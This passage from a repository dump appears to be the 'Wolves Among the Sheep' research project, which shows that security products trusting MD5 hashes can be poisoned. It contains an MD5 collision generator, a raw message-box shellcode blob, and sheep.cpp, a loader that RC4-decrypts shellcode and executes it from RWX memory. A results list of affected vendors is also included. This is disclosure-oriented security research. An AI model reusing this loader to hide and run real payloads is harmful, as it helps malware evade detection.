s.Q1[58];\n\t\tif((s.Q0[59] ^ s.Q1[59]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B15 */\n\t\ts.Q0[60] = RL(I(s.Q0[59], s.Q0[58], s.Q0[57]) + s.Q0[56]\n\t\t\t+ s.X0[29] + 0x4e0811a1, 21) + s.Q0[59];\n\t\ts.Q1[60] = RL(I(s.Q1[59], s.Q1[58], s.Q1[57]) + s.Q1[56]\n\t\t\t+ s.X1[29] + 0x4e0811a1, 21) + s.Q1[59];\n\t\tif((s.Q0[60] ^ s.Q1[60]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A16 */\n\t\ts.Q0[61] = RL(I(s.Q0[60], s.Q0[59], s.Q0[58]) + s.Q0[57]\n\t\t\t+ s.X0[20] + 0xf7537e82,  6) + s.Q0[60];\n\t\ts.Q1[61] = RL(I(s.Q1[60], s.Q1[59], s.Q1[58]) + s.Q1[57]\n\t\t\t+ s.X1[20] + 0xf7537e82,  6) + s.Q1[60];\n\t\tif((s.Q0[61] ^ s.Q1[61]) != 0x80000000)\n\t\t\tcontinue;\n\t\tif((s.A0 + s.Q0[61]) != (s.A1 + s.Q1[61]))\n\t\t\tcontinue;\n\n\t\t/* D16 */\n\t\ts.Q0[62] = RL(I(s.Q0[61], s.Q0[60], s.Q0[59]) + s.Q0[58]\n\t\t\t+ s.X0[27] + 0xbd3af235, 10) + s.Q0[61];\n\t\ts.Q1[62] = RL(I(s.Q1[61], s.Q1[60], s.Q1[59]) + s.Q1[58]\n\t\t\t+ s.X1[27] + 0xbd3af235, 10) + s.Q1[61];\n\t\tif((s.D0 + s.Q0[62]) != (s.D1 + s.Q1[62]))\n\t\t\tcontinue;\n\n\t\t/* C16 */\n\t\ts.Q0[63] = RL(I(s.Q0[62], s.Q0[61], s.Q0[60]) + s.Q0[59]\n\t\t\t+ s.X0[18] + 0x2ad7d2bb, 15) + s.Q0[62];\n\t\ts.Q1[63] = RL(I(s.Q1[62], s.Q1[61], s.Q1[60]) + s.Q1[59]\n\t\t\t+ s.X1[18] + 0x2ad7d2bb, 15) + s.Q1[62];\n\t\tif((s.C0 + s.Q0[63]) != (s.C1 + s.Q1[63]))\n\t\t\tcontinue;\n\n\t\t/* B16 */\n\t\ts.Q0[64] = RL(I(s.Q0[63], s.Q0[62], s.Q0[61]) + s.Q0[60]\n\t\t\t+ s.X0[25] + 0xeb86d391, 21) + s.Q0[63];\n\t\ts.Q1[64] = RL(I(s.Q1[63], s.Q1[62], s.Q1[61]) + s.Q1[60]\n\t\t\t+ s.X1[25] + 0xeb86d391, 21) + s.Q1[63];\n\t\tif((s.B0 + s.Q0[64]) != (s.B1 + s.Q1[64]))\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= LOOP_22)\n\t\tgoto block2_again;\n\treturn 0;\n}\n\n/* public interface */\n\n/* return 0 on success, 1 if interrupt requested */\nint md5coll_with_iv(unsigned int IV[4], unsigned int m0[32], unsigned int m1[32], callback_t *cb) {\n  int r;\n  int ct1 = 0;\n\n  while (1) {\n    r = block1(IV, cb, ct1);\n    if (r==1) {\n      return 1;\n    }\n    r = block2(cb);\n    if (r==1) {\n      return 1;\n    } else if (r==-1) {\n      ct1 = s.ct1;\n      continue;\n    } else {\n      break;\n    }\n  }\n  memcpy(m0, s.X0, 128);\n  memcpy(m1, s.X1, 128);\n  return 0;\n}\n\n/* return 0 on success, 1 if interrupt requested */\nint md5coll(unsigned int m0[32], unsigned int m1[32], callback_t *cb) {\n  return md5coll_with_iv(IV_default, m0, m1, cb);\n}\n"
  },
  {
    "path": "evilize/md5coll_lib.h",
    "content": "/* MD5 Collision Generator\n * Copyright (C) 2005 Patrick Stach <pstach@stachliu.com>.\n * Implementation of paper by Xiaoyun Wang, et al.\n * A few optimizations to make the solving method a bit more deterministic.\n * Modifications Copyright (C) 2006 Peter Selinger.\n * \n * This work is licensed under a modified BSD License, see the file\n * MBSD-LICENSE for full details.\n * Any derivative works or references must cite the authors.\n */\n\n/* object-oriented callback interface (for progress reports). \"arg\" is\n   the payload of the callback, and f returns 1 if it wishes to\n   interrupt. */\nstruct callback_s {\n  int (*f)(void *priv, char *arg);\n  void *priv;\n};\ntypedef struct callback_s callback_t;\n\n/* find an MD5 collision (with standard initial vector), and store it\n   in m0/m1. Use callback function cb for progress reports (see\n   above), if non-NULL. Return 0 on success, 1 if an interrupt was\n   requested. */\nint md5coll(unsigned int m0[32], unsigned int m1[32], callback_t *cb);\n\n/* same, but use specified initial vector */\nint md5coll_with_iv(unsigned int IV[4], unsigned int m0[32], unsigned int m1[32], callback_t *cb);\n\n"
  },
  {
    "path": "fastcoll/_PUT_FASTCOLL_HERE_",
    "content": "https://www.win.tue.nl/hashclash/\n"
  },
  {
    "path": "msgbox.raw",
    "content": "t$1Ҳw1dq0v\fv\u001cF\b~ 68O\u0018uY\u0001`l$$E<T(x\u0001J\u0018Z \u00014I4\u000111t\u0007\r\u0001;|$(uZ$\u0001f\fKZ\u001c\u0001\u0004\u0001D$\u001caò\b)ԉhN\u000eRE\u0004~s\u001c$RE\bhll Ah32.dhuser0ۈ\\$\nVU\u0004PM\u001c$R_hoxX hageBhMess1ۈ\\$\nhX   hMSF!hrom ho, fhHell1ɈL$\u00101RSQR1PU\b"
  },
  {
    "path": "results/RESULTS.md",
    "content": "Wolves Among the Sheep - Results\n================================\n\n* FireEye: [Poisonous MD5 - Wolves Among the Sheep](https://blog.silentsignal.eu/2015/06/10/poisonous-md5-wolves-among-the-sheep/)\n* REDACTED (network forensics appliance)\n* REDACTED (next-generation AV)\n* [Panda Adaptive Defense 360](https://vimeo.com/192484882)\n* REDACTED (malware analysis sandbox), vendor notified, vendor acknowledged the issue\n* REDACTED (malware analysis sandbox Virustotal API), vendor notified, bug fixed\n* Malware whitelists (and blacklists) of Tenable Nessus [are based on MD5 hashes](http://static.tenable.com/documentation/nessus_6.4_user_guide.pdf)\n* [ClamAV](http://seclists.org/oss-sec/2017/q4/19) ([Bornhack lightning talk slides](http://klondike.es/charlas/whitelist/whitelist.odp))\n* [Windows CryptoAPI used MD5 to look up cached certificates](https://cendyne.dev/posts/2023-09-01-spoofing-certificates-with-md5-collisions.html) (CVE-2022-34689), which is essentially the same problem\n* (...Your contribution here...)\n"
  },
  {
    "path": "sheep/ReadMe.txt",
    "content": "========================================================================\r\n    CONSOLE APPLICATION : sheep Project Overview\r\n========================================================================\r\n\r\nAppWizard has created this sheep application for you.\r\n\r\nThis file contains a summary of what you will find in each of the files that\r\nmake up your sheep application.\r\n\r\n\r\nsheep.vcxproj\r\n    This is the main project file for VC++ projects generated using an Application Wizard.\r\n    It contains information about the version of Visual C++ that generated the file, and\r\n    information about the platforms, configurations, and project features selected with the\r\n    Application Wizard.\r\n\r\nsheep.vcxproj.filters\r\n    This is the filters file for VC++ projects generated using an Application Wizard. \r\n    It contains information about the association between the files in your project \r\n    and the filters. This association is used in the IDE to show grouping of files with\r\n    similar extensions under a specific node (for e.g. \".cpp\" files are associated with the\r\n    \"Source Files\" filter).\r\n\r\nsheep.cpp\r\n    This is the main application source file.\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\nOther standard files:\r\n\r\nStdAfx.h, StdAfx.cpp\r\n    These files are used to build a precompiled header (PCH) file\r\n    named sheep.pch and a precompiled types file named StdAfx.obj.\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\nOther notes:\r\n\r\nAppWizard uses \"TODO:\" comments to indicate parts of the source code you\r\nshould add to or customize.\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n"
  },
  {
    "path": "sheep/common.h",
    "content": "/* The MIT License\r\n\r\n   Copyright (C) 2011, 2012 Zilong Tan (eric.zltan@gmail.com)\r\n\r\n   Permission is hereby granted, free of charge, to any person obtaining\r\n   a copy of this software and associated documentation files (the\r\n   \"Software\"), to deal in the Software without restriction, including\r\n   without limitation the rights to use, copy, modify, merge, publish,\r\n   distribute, sublicense, and/or sell copies of the Software, and to\r\n   permit persons to whom the Software is furnished to do so, subject to\r\n   the following conditions:\r\n\r\n   The above copyright notice and this permission notice shall be\r\n   included in all copies or substantial portions of the Software.\r\n\r\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\r\n   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\r\n   BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\r\n   ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n   CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n   SOFTWARE.\r\n*/\r\n\r\n/* Some of these useful macros are appeared in linux kernel with\r\n * necessary modifications to get them work. */\r\n\r\n#ifndef __ULIB_COMMON_H\r\n#define __ULIB_COMMON_H\r\n\r\n#include <stddef.h>\r\n#include <stdint.h>\r\n\r\n#define _min(x, y) ({                                           \\\r\n                        typeof(x) _min1 = (x);                  \\\r\n                        typeof(y) _min2 = (y);                  \\\r\n                        (void) (&_min1 == &_min2);              \\\r\n                        _min1 < _min2 ? _min1 : _min2; })\r\n\r\n#define _max(x, y) ({                                           \\\r\n                        typeof(x) _max1 = (x);                  \\\r\n                        typeof(y) _max2 = (y);                  \\\r\n                        (void) (&_max1 == &_max2);              \\\r\n                        _max1 > _max2 ? _max1 : _max2; })\r\n\r\n#define min3(x, y, z) ({                                                \\\r\n                        typeof(x) _min1 = (x);                          \\\r\n                        typeof(y) _min2 = (y);                          \\\r\n                        typeof(z) _min3 = (z);                          \\\r\n                        (void) (&_min1 == &_min2);                      \\\r\n                        (void) (&_min1 == &_min3);                      \\\r\n                        _min1 < _min2 ? (_min1 < _min3 ? _min1 : _min3) : \\\r\n                                (_min2 < _min3 ? _min2 : _min3); })\r\n\r\n#define max3(x, y, z) ({                                                \\\r\n                        typeof(x) _max1 = (x);                          \\\r\n                        typeof(y) _max2 = (y);                          \\\r\n                        typeof(z) _max3 = (z);                          \\\r\n                        (void) (&_max1 == &_max2);                      \\\r\n                        (void) (&_max1 == &_max3);                      \\\r\n                        _max1 > _max2 ? (_max1 > _max3 ? _max1 : _max3) : \\\r\n                                (_max2 > _max3 ? _max2 : _max3); })\r\n\r\n/**\r\n * min_not_zero - return the minimum that is _not_ zero, unless both are zero\r\n * @x: value1\r\n * @y: value2\r\n */\r\n#define min_not_zero(x, y) ({                                           \\\r\n                        typeof(x) __x = (x);                            \\\r\n                        typeof(y) __y = (y);                            \\\r\n                        __x == 0 ? __y : ((__y == 0) ? __x : _min(__x, __y)); })\r\n\r\n/**\r\n * clamp - return a value clamped to a given range with strict typechecking\r\n * @val: current value\r\n * @min: minimum allowable value\r\n * @max: maximum allowable value\r\n *\r\n * This macro does strict typechecking of min/max to make sure they are of the\r\n * same type as val.  See the unnecessary pointer comparisons.\r\n */\r\n#define clamp(val, min, max) ({                                 \\\r\n                        typeof(val) __val = (val);              \\\r\n                        typeof(min) __min = (min);              \\\r\n                        typeof(max) __max = (max);              \\\r\n                        (void) (&__val == &__min);              \\\r\n                        (void) (&__val == &__max);              \\\r\n                        __val = __val < __min ? __min: __val;   \\\r\n                        __val > __max ? __max: __val; })\r\n\r\n#define min_t(type, x, y) ({                                    \\\r\n                        type __min1 = (x);                      \\\r\n                        type __min2 = (y);                      \\\r\n                        __min1 < __min2 ? __min1: __min2; })\r\n\r\n#define max_t(type, x, y) ({                                    \\\r\n                        type __max1 = (x);                      \\\r\n                        type __max2 = (y);                      \\\r\n                        __max1 > __max2 ? __max1: __max2; })\r\n\r\n/**\r\n * clamp_t - return a value clamped to a given range using a given type\r\n * @type: the type of variable to use\r\n * @val: current value\r\n * @min: minimum allowable value\r\n * @max: maximum allowable value\r\n *\r\n * This macro does no typechecking and uses temporary variables of type\r\n * 'type' to make all the comparisons.\r\n */\r\n#define clamp_t(type, val, min, max) ({                         \\\r\n                        type __val = (val);                     \\\r\n                        type __min = (min);                     \\\r\n                        type __max = (max);                     \\\r\n                        __val = __val < __min ? __min: __val;   \\\r\n                        __val > __max ? __max: __val; })\r\n\r\n/**\r\n * clamp_val - return a value clamped to a given range using val's type\r\n * @val: current value\r\n * @min: minimum allowable value\r\n * @max: maximum allowable value\r\n *\r\n * This macro does no typechecking and uses temporary variables of whatever\r\n * type the input argument 'val' is.  This is useful when val is an unsigned\r\n * type and min and max are literals that will otherwise be assigned a signed\r\n * integer type.\r\n */\r\n#define clamp_val(val, min, max) ({                             \\\r\n                        typeof(val) __val = (val);              \\\r\n                        typeof(val) __min = (min);              \\\r\n                        typeof(val) __max = (max);              \\\r\n                        __val = __val < __min ? __min: __val;   \\\r\n                        __val > __max ? __max: __val; })\r\n\r\n\r\n#define _swap(a, b)                                                     \\\r\n        do { __typeof(a) __tmp = (a); (a) = (b); (b) = __tmp; } while (0)\r\n\r\n/**\r\n * container_of - cast a member of a structure out to the containing structure\r\n * @ptr:        the pointer to the member.\r\n * @type:       the type of the container struct this is embedded in.\r\n * @member:     the name of the member within the struct.\r\n *\r\n */\r\n#define container_of(ptr, type, member) ({                              \\\r\n                        const typeof( ((type *)0)->member ) *__mptr = (ptr); \\\r\n                        (type *)( (char *)__mptr - __builtin_offsetof(type,member) );})\r\n\r\n#define generic_compare(x, y) (((x) > (y)) - ((x) < (y)))\r\n\r\n/*static inline void memswp(unsigned long *x, unsigned long *y, size_t size)\r\n{\r\n        unsigned long *p = x + size/sizeof(*x);;\r\n        unsigned char *h, *v;\r\n\r\n        while (x != p) {\r\n                SWAP(*x, *y,unsigned long);\r\n                x++;\r\n                y++;\r\n        }\r\n\r\n        h = (unsigned char *)x;\r\n        v = (unsigned char *)y;\r\n\r\n#if __WORDSIZE == 64\r\n        switch (size & 7) {\r\n        case 7: _swap(h[6], v[6]);\r\n        case 6: _swap(h[5], v[5]);\r\n        case 5: _swap(h[4], v[4]);\r\n        case 4: _swap(h[3], v[3]);\r\n#else\r\n        switch (size & 3) {\r\n#endif\r\n        case 3: _swap(h[2], v[2]);\r\n        case 2: _swap(h[1], v[1]);\r\n        case 1: _swap(h[0], v[0]);\r\n        }\r\n}*/\r\n\r\n#endif  /* __ULIB_COMMON_H */"
  },
  {
    "path": "sheep/crc.cpp",
    "content": "/**********************************************************************\r\n *\r\n * Filename:    crc.c\r\n * \r\n * Description: Slow and fast implementations of the CRC standards.\r\n *\r\n * Notes:       The parameters for each supported CRC standard are\r\n *\t\t\t\tdefined in the header file crc.h.  The implementations\r\n *\t\t\t\there should stand up to further additions to that list.\r\n *\r\n * \r\n * Copyright (c) 2000 by Michael Barr.  This software is placed into\r\n * the public domain and may be used for any purpose.  However, this\r\n * notice must not be changed or removed and no warranty is either\r\n * expressed or implied by its publication or distribution.\r\n **********************************************************************/\r\n \r\n#include \"stdafx.h\"\r\n#include \"crc.h\"\r\n\r\n\r\n/*\r\n * Derive parameters from the standard-specific parameters in crc.h.\r\n */\r\n#define WIDTH    (8 * sizeof(crc))\r\n#define TOPBIT   (1 << (WIDTH - 1))\r\n\r\n#if (REFLECT_DATA == TRUE)\r\n#undef  REFLECT_DATA\r\n#define REFLECT_DATA(X)\t\t\t((unsigned char) reflect((X), 8))\r\n#else\r\n#undef  REFLECT_DATA\r\n#define REFLECT_DATA(X)\t\t\t(X)\r\n#endif\r\n\r\n#if (REFLECT_REMAINDER == TRUE)\r\n#undef  REFLECT_REMAINDER\r\n#define REFLECT_REMAINDER(X)\t((crc) reflect((X), WIDTH))\r\n#else\r\n#undef  REFLECT_REMAINDER\r\n#define REFLECT_REMAINDER(X)\t(X)\r\n#endif\r\n\r\n\r\n/*********************************************************************\r\n *\r\n * Function:    reflect()\r\n * \r\n * Description: Reorder the bits of a binary sequence, by reflecting\r\n *\t\t\t\tthem about the middle position.\r\n *\r\n * Notes:\t\tNo checking is done that nBits <= 32.\r\n *\r\n * Returns:\t\tThe reflection of the original data.\r\n *\r\n *********************************************************************/\r\nstatic unsigned long\r\nreflect(unsigned long data, unsigned char nBits)\r\n{\r\n\tunsigned long  reflection = 0x00000000;\r\n\tunsigned char  bit;\r\n\r\n\t/*\r\n\t * Reflect the data about the center bit.\r\n\t */\r\n\tfor (bit = 0; bit < nBits; ++bit)\r\n\t{\r\n\t\t/*\r\n\t\t * If the LSB bit is set, set the reflection of it.\r\n\t\t */\r\n\t\tif (data & 0x01)\r\n\t\t{\r\n\t\t\treflection |= (1 << ((nBits - 1) - bit));\r\n\t\t}\r\n\r\n\t\tdata = (data >> 1);\r\n\t}\r\n\r\n\treturn (reflection);\r\n\r\n}\t/* reflect() */\r\n\r\n\r\n/*********************************************************************\r\n *\r\n * Function:    crcSlow()\r\n * \r\n * Description: Compute the CRC of a given message.\r\n *\r\n * Notes:\t\t\r\n *\r\n * Returns:\t\tThe CRC of the message.\r\n *\r\n *********************************************************************/\r\ncrc\r\ncrcSlow(unsigned char const message[], int nBytes)\r\n{\r\n    crc            remainder = INITIAL_REMAINDER;\r\n\tint            byte;\r\n\tunsigned char  bit;\r\n\r\n\r\n    /*\r\n     * Perform modulo-2 division, a byte at a time.\r\n     */\r\n    for (byte = 0; byte < nBytes; ++byte)\r\n    {\r\n        /*\r\n         * Bring the next byte into the remainder.\r\n         */\r\n        remainder ^= (REFLECT_DATA(message[byte]) << (WIDTH - 8));\r\n\r\n        /*\r\n         * Perform modulo-2 division, a bit at a time.\r\n         */\r\n        for (bit = 8; bit > 0; --bit)\r\n        {\r\n            /*\r\n             * Try to divide the current data bit.\r\n             */\r\n            if (remainder & TOPBIT)\r\n            {\r\n                remainder = (remainder << 1) ^ POLYNOMIAL;\r\n            }\r\n            else\r\n            {\r\n                remainder = (remainder << 1);\r\n            }\r\n        }\r\n    }\r\n\r\n    /*\r\n     * The final remainder is the CRC result.\r\n     */\r\n    return (REFLECT_REMAINDER(remainder) ^ FINAL_XOR_VALUE);\r\n\r\n}   /* crcSlow() */\r\n\r\n\r\ncrc  crcTable[256];\r\n\r\n\r\n/*********************************************************************\r\n *\r\n * Function:    crcInit()\r\n * \r\n * Description: Populate the partial CRC lookup table.\r\n *\r\n * Notes:\t\tThis function must be rerun any time the CRC standard\r\n *\t\t\t\tis changed.  If desired, it can be run \"offline\" and\r\n *\t\t\t\tthe table results stored in an embedded system's ROM.\r\n *\r\n * Returns:\t\tNone defined.\r\n *\r\n *********************************************************************/\r\nvoid\r\ncrcInit(void)\r\n{\r\n    crc\t\t\t   remainder;\r\n\tint\t\t\t   dividend;\r\n\tunsigned char  bit;\r\n\r\n\r\n    /*\r\n     * Compute the remainder of each possible dividend.\r\n     */\r\n    for (dividend = 0; dividend < 256; ++dividend)\r\n    {\r\n        /*\r\n         * Start with the dividend followed by zeros.\r\n         */\r\n        remainder = dividend << (WIDTH - 8);\r\n\r\n        /*\r\n         * Perform modulo-2 division, a bit at a time.\r\n         */\r\n        for (bit = 8; bit > 0; --bit)\r\n        {\r\n            /*\r\n             * Try to divide the current data bit.\r\n             */\t\t\t\r\n            if (remainder & TOPBIT)\r\n            {\r\n                remainder = (remainder << 1) ^ POLYNOMIAL;\r\n            }\r\n            else\r\n            {\r\n                remainder = (remainder << 1);\r\n            }\r\n        }\r\n\r\n        /*\r\n         * Store the result into the table.\r\n         */\r\n        crcTable[dividend] = remainder;\r\n    }\r\n\r\n}   /* crcInit() */\r\n\r\n\r\n/*********************************************************************\r\n *\r\n * Function:    crcFast()\r\n * \r\n * Description: Compute the CRC of a given message.\r\n *\r\n * Notes:\t\tcrcInit() must be called first.\r\n *\r\n * Returns:\t\tThe CRC of the message.\r\n *\r\n *********************************************************************/\r\ncrc\r\ncrcFast(unsigned char const message[], int nBytes)\r\n{\r\n    crc\t           remainder = INITIAL_REMAINDER;\r\n    unsigned char  data;\r\n\tint            byte;\r\n\r\n\r\n    /*\r\n     * Divide the message by the polynomial, a byte at a time.\r\n     */\r\n    for (byte = 0; byte < nBytes; ++byte)\r\n    {\r\n        data = REFLECT_DATA(message[byte]) ^ (remainder >> (WIDTH - 8));\r\n  \t\tremainder = crcTable[data] ^ (remainder << 8);\r\n    }\r\n\r\n    /*\r\n     * The final remainder is the CRC.\r\n     */\r\n    return (REFLECT_REMAINDER(remainder) ^ FINAL_XOR_VALUE);\r\n\r\n}   /* crcFast() */\r\n"
  },
  {
    "path": "sheep/crc.h",
    "content": "/**********************************************************************\r\n *\r\n * Filename:    crc.h\r\n * \r\n * Description: A header file describing the various CRC standards.\r\n *\r\n * Notes:       \r\n *\r\n * \r\n * Copyright (c) 2000 by Michael Barr.  This software is placed into\r\n * the public domain and may be used for any purpose.  However, this\r\n * notice must not be changed or removed and no warranty is either\r\n * expressed or implied by its publication or distribution.\r\n **********************************************************************/\r\n\r\n#ifndef _crc_h\r\n#define _crc_h\r\n\r\n\r\n#define FALSE\t0\r\n#define TRUE\t!FALSE\r\n\r\n/*\r\n * Select the CRC standard from the list that follows.\r\n */\r\n#define CRC_CCITT\r\n\r\n\r\n#if defined(CRC_CCITT)\r\n\r\ntypedef unsigned short  crc;\r\n\r\n#define CRC_NAME\t\t\t\"CRC-CCITT\"\r\n#define POLYNOMIAL\t\t\t0x1021\r\n#define INITIAL_REMAINDER\t0xFFFF\r\n#define FINAL_XOR_VALUE\t\t0x0000\r\n#define REFLECT_DATA\t\tFALSE\r\n#define REFLECT_REMAINDER\tFALSE\r\n#define CHECK_VALUE\t\t\t0x29B1\r\n\r\n#elif defined(CRC16)\r\n\r\ntypedef unsigned short  crc;\r\n\r\n#define CRC_NAME\t\t\t\"CRC-16\"\r\n#define POLYNOMIAL\t\t\t0x8005\r\n#define INITIAL_REMAINDER\t0x0000\r\n#define FINAL_XOR_VALUE\t\t0x0000\r\n#define REFLECT_DATA\t\tTRUE\r\n#define REFLECT_REMAINDER\tTRUE\r\n#define CHECK_VALUE\t\t\t0xBB3D\r\n\r\n#elif defined(CRC32)\r\n\r\ntypedef unsigned long  crc;\r\n\r\n#define CRC_NAME\t\t\t\"CRC-32\"\r\n#define POLYNOMIAL\t\t\t0x04C11DB7\r\n#define INITIAL_REMAINDER\t0xFFFFFFFF\r\n#define FINAL_XOR_VALUE\t\t0xFFFFFFFF\r\n#define REFLECT_DATA\t\tTRUE\r\n#define REFLECT_REMAINDER\tTRUE\r\n#define CHECK_VALUE\t\t\t0xCBF43926\r\n\r\n#else\r\n\r\n#error \"One of CRC_CCITT, CRC16, or CRC32 must be #define'd.\"\r\n\r\n#endif\r\n\r\n\r\nvoid  crcInit(void);\r\ncrc   crcSlow(unsigned char const message[], int nBytes);\r\ncrc   crcFast(unsigned char const message[], int nBytes);\r\n\r\n\r\n#endif /* _crc_h */"
  },
  {
    "path": "sheep/rc4.cpp",
    "content": "#include \"stdafx.h\"\r\n#include \"common.h\"\r\n#include \"rc4.h\"\r\n\r\n#define SWAP(x, y, T) do { T SWAP = x; x = y; y = SWAP; } while (0)\r\n\r\nvoid rc4_set_key(const unsigned char *buf, size_t len, rc4_key_t * key)\r\n{\r\n        unsigned char j = 0;\r\n        unsigned char *state = key->state;\r\n        int i;\r\n\r\n        for (i = 0;  i < 256; ++i)\r\n                state[i] = i;\r\n\r\n        key->x = 0;\r\n        key->y = 0;\r\n\r\n        for (i = 0; i < 256; ++i) {\r\n                j = j + state[i] + buf[i % len];\r\n                SWAP(state[i], state[j],unsigned char);\r\n        }\r\n}\r\n\r\nvoid rc4_crypt(unsigned char *buf, size_t len, rc4_key_t * key)\r\n{\r\n        unsigned char x;\r\n        unsigned char y;\r\n        unsigned char *state = key->state;\r\n        unsigned int  i;\r\n\r\n        x = key->x;\r\n        y = key->y;\r\n\r\n        for (i = 0; i < len; i++) {\r\n                y = y + state[++x];\r\n                SWAP(state[x], state[y],unsigned char);\r\n                buf[i] ^= state[(state[x] + state[y]) & 0xff];\r\n        }\r\n\r\n        key->x = x;\r\n        key->y = y;\r\n}\r\n"
  },
  {
    "path": "sheep/rc4.h",
    "content": "/* The MIT License\r\n\r\n   Copyright (C) 2011 Zilong Tan (tzlloch@gmail.com)\r\n\r\n   Permission is hereby granted, free of charge, to any person obtaining\r\n   a copy of this software and associated documentation files (the\r\n   \"Software\"), to deal in the Software without restriction, including\r\n   without limitation the rights to use, copy, modify, merge, publish,\r\n   distribute, sublicense, and/or sell copies of the Software, and to\r\n   permit persons to whom the Software is furnished to do so, subject to\r\n   the following conditions:\r\n\r\n   The above copyright notice and this permission notice shall be\r\n   included in all copies or substantial portions of the Software.\r\n\r\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\r\n   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\r\n   BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\r\n   ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n   CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n   SOFTWARE.\r\n*/\r\n\r\n#ifndef __ULIB_RC4_H\r\n#define __ULIB_RC4_H\r\n\r\n#include <stddef.h>\r\n\r\ntypedef struct rc4_key_t {\r\n        unsigned char state[256];\r\n        unsigned char x;\r\n        unsigned char y;\r\n} rc4_key_t;\r\n\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\r\n        void rc4_set_key(const unsigned char *key_data, size_t key_data_len,\r\n                         rc4_key_t * key);\r\n\r\n        void rc4_crypt(unsigned char *buffer, size_t buffer_len,\r\n                       rc4_key_t * key);\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif  /* __RC4_H */\r\n\r\n"
  },
  {
    "path": "sheep/sheep.cpp",
    "content": "/*\r\nMD5 Poisoning - Wolves Among the Sheep\r\nCopyright (C) 2015  Blint Varga-Perke\r\n\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program.  If not, see <http://www.gnu.org/licenses/>.\r\n*/\r\n\r\n#include \"stdafx.h\"\r\n#include<Windows.h>\r\n#include<string.h>\r\n#include \"rc4.h\"\r\n#include \"crc.h\"\r\n#include \"sc.h\"\r\n\r\n#define DUMMY \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\r\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\r\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\r\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\r\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" \\\r\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n\r\nchar *dummya = DUMMY \"A\";\r\nchar *dummyb = DUMMY \"B\";\r\nunsigned char code[]=SC;\r\n\r\nint _tmain(int argc, _TCHAR* argv[])\r\n{\r\n\r\n\r\n\tunsigned char key[]=SC_KEY;\r\n\tchar* dummya_c=dummya;\r\n\tchar* dummyb_c=dummyb;\r\n\r\n\tfor (int i=0;i<strlen(dummya);i++){\r\n\t\tkey[i%strlen((char*)key)]^=dummya_c[i]^dummyb_c[i];\r\n\t}\r\n\tprintf(\"%s\\n\",key);\r\n\tprintf(\"Code size: %d\\n\",sizeof(code));\r\n\trc4_key_t rc4_key;\r\n\trc4_set_key(key,strlen((const char*)key),&rc4_key);\r\n\tunsigned char crypted[sizeof(code)];\r\n\tmemset(crypted,0,sizeof(code));\r\n\trc4_crypt(crypted,sizeof(crypted),&rc4_key);\r\n\tfor (int i=0;i<sizeof(code);i++){\r\n\t\tcode[i]^=crypted[i];\r\n\t\tprintf(\"\\\\x%02x\",code[i]);\r\n\t}\r\n\tprintf(\"\\nDONE\\n\");\r\n\tif (crcSlow(code,sizeof(code))==SC_CRC){\r\n\t\tvoid* p=VirtualAlloc(NULL,4096,MEM_COMMIT,PAGE_EXECUTE_READWRITE);\r\n\t\tRtlMoveMemory(p,code,sizeof(code));\r\n\t\t((void(*)())p)();\r\n\t\treturn 1;\r\n\t}else{\r\n\t\tprintf(\"CRC mismatch (%d), exiting...\",crcSlow(code,sizeof(code)));\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "sheep/sheep.vcxproj",
